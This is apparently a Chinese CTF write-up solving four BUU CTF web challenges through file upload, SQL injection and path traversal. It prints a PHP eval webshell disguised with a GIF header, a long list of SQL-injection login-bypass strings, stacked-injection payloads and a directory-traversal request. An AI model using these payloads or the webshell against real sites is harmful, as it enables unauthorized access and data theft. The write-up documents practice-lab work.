BUU CTF Web(1)

[极客大挑战 2019]Upload1

首先上传一句话木马

提示说不是图片

需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

发现只有phtml可以

img

发现过滤<?

换个一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

img

上传成功

试着访问上传的文件

http://c43398c0-dd60-434a-99b1-9b5624262c56.node4.buuoj.cn:81/upload/

img

然后蚁剑连接

密码是1

img

在/目录下找到flag文件

img

完成

[极客大挑战 2019]EasySQL1

首先进入靶场,是一个登录界面

img

先随便输入一个用户名和密码,比如都输入1

img

发现不行

再试试admin和123456

发现也不行

尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合。

img

万能语句

万能密码表所谓的万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站,所以称之为万能。

账号 'or 1=1 #密码任意( 这个很好用!)

img

得到flag

万能密码

img

原验证登陆语句:

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'1

输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'1

即得到优先级关系:or<and<not,同一优先级默认从左往右计算。

(1.)上面’1’=‘1’ AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG’先计算肯定返回false,因为密码是我们乱输入的。(此处是假)

(2.)Username=‘1’ 返回假,没有用户名是1(此处是假)

(3.)1=1返回真(此处是真)

以上的结果是: 假 or 真 or假 返回真。验证通过。

万能密码

' or 1='1

'or'='or'

admin

admin'--

admin' or 4=4--

admin' or '1'='1'--

admin888

"or "a"="a

admin' or 2=2#

a' having 1=1#

a' having 1=1--

admin' or '2'='2

')or('a'='a

or 4=4--

c

a'or' 4=4--

"or 4=4--

'or'a'='a

"or"="a'='a

'or''='

'or'='or'

1 or '1'='1'=1

1 or '1'='1' or 4=4

'OR 4=4%00

"or 4=4%00

'xor

admin' UNION Select 1,1,1 FROM admin Where ''='

1

-1%cf' union select 1,1,1 as password,1,1,1 %23

1

17..admin' or 'a'='a 密码随便

'or'='or'

'or 4=4/*

something

' OR '1'='1

1'or'1'='1

admin' OR 4=4/*

1'or'1'='1

asp aspx万能密码

1:”or “a”=”a

2: ‘)or(‘a’=’a

3:or 1=1–

4:’or 1=1–

5:a’or’ 1=1–

6:”or 1=1–

7:’or’a’=’a

8:”or”=”a’=’a

9:’or”=’

10:’or’=’or’

11: 1 or ‘1’=’1’=1

12: 1 or ‘1’=’1’ or 1=1

13: ‘OR 1=1%00

14: “or 1=1%00

15: ‘xor

16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)

密码 1

17…admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*

User: something

Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1

admin’ OR 1=1/*

[SUCTF 2019]EasySQL1

首先学习一下前置知识

SQL ORDER BY 子句

ORDER BY 语句用于对结果集进行排序。

ORDER BY 语句

ORDER BY 语句用于根据指定的列对结果集进行排序。

ORDER BY 语句默认按照升序对记录进行排序。

如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。

原始的表 (用在例子中的)*Orders 表:***

Company

OrderNumber

IBM

3532

W3School

2356

Apple

4698

W3School

6953

实例 1

以字母顺序显示公司名称:

SELECT Company, OrderNumber FROM Orders ORDER BY Company

结果:

Company

OrderNumber

Apple

4698

IBM

3532

W3School

6953

W3School

2356

实例 2

以字母顺序显示公司名称(Company),并以数字顺序显示顺序号(OrderNumber):

SELECT Company, OrderNumber FROM Orders ORDER BY Company, OrderNumber

结果:

Company

OrderNumber

Apple

4698

IBM

3532

W3School

2356

W3School

6953

SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC

实例 3

以逆字母顺序显示公司名称:

结果:

Company

OrderNumber

W3School

6953

W3School

2356

IBM

3532

Apple

4698

SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC

实例 4

以逆字母顺序显示公司名称,并以数字顺序显示顺序号:

结果:

Company

OrderNumber

W3School

2356

W3School

6953

IBM

3532

Apple

4698

注意:在以上的结果中有两个相等的公司名称 (W3School)。只有这一次,在第一列中有相同的值时,第二列是以升序排列的。如果第一列中有些值为 nulls 时,情况也是这样的。

做题

先试试1img

有回显

(2)再试试字母

img

没有回显

(3)试试单引号注入

img

提示不一样,因此猜测这里有注入点

(4)试试有多少列

img

还是不成功,因此一般的联合查询在这里不能使用

(5)基于时间的盲注和报错注入都需要嵌套联合查询语句来实现,因此可以跳过,直接试试布尔型盲注

img

还是不成功

2.利用堆叠注入

(1)查找所有数据库

img

(2)查询所有表名

img

(3)查询Flag表中的列

img

不成功

3.接下来是网上的两种解法,参照了网上大佬们的WP,自己做的一些总结

(1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数用于连接的函数

当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

第一种就按默认没有配置来进行,此时||就是逻辑或

||在命令执行中见过,

回顾:

command1;command2顺序执行

command1 || command2

如果command1执行失败,则执行command2

command1 && command2

如果command1执行成功,则执行command2

因此只需要将

$_POST[‘query’]

提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)

解释:

sql=select.post[‘query’]."||flag from Flag";(拼接语句)

如果$post[‘query’]的数据为

*,1

sql语句就变成了select *,1||flag from Flag,

就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

此处的1是临时增加一列,列名为1且这一列的所有值都为1

执行payload:*,1

img

得到flag

(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置

sql_mode=PIPES_AS_CONCAT时即可

Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

相当于是select 1 from Flag和select flag from Flag

img

得到flag

知识点:

后端代码猜测

1 || ** 类语句理解

select 1 from 类语句理解

set sql_mode = pipes_as_concat 命令理解(为什么没有过滤set、concat的原因)

[HCTF 2018]WarmUp1

首先查看网站源码

发现有source.php

我们查看一下

img

接着就是代码审计

查看hint.php发现

img

mb_substr() 函数:返回字符串的一部分

//str 必需。从该 string 中提取子字符串。//start 必需。规定在字符串的何处开始。//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

mb_strpos() 函数:查找字符串在另一个字符串中首次出现的位置

// mb_strpos (haystack ,needle )// haystack:要被检查的字符串。// needle:要搜索的字符串

in_array() 函数: 搜索数组中是否存在指定的值。注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。

isset()判断变量是否声明

is_string()判断变量是否是字符串

urldecode():解码已编码的 URL 字符串

<?php

$str = 'http://www.baidu.com';

$str2 = urlencode($str);

echo $str2;

echo ' ';

echo urldecode($str2);

?>

输出结果:

http%3A%2F%2Fwww.baidu.com

http://www.baidu.com

这里需要上传一个file要求在白名单里,由于会过滤?,所以需要将?进行url加密

又因为ffffllllaaaagggg所以需要用到/..意思是上一个目录下的文件

于是上传下面的代码就可以找到flag

?file=source.php%3f/../../../../ffffllllaaaagggg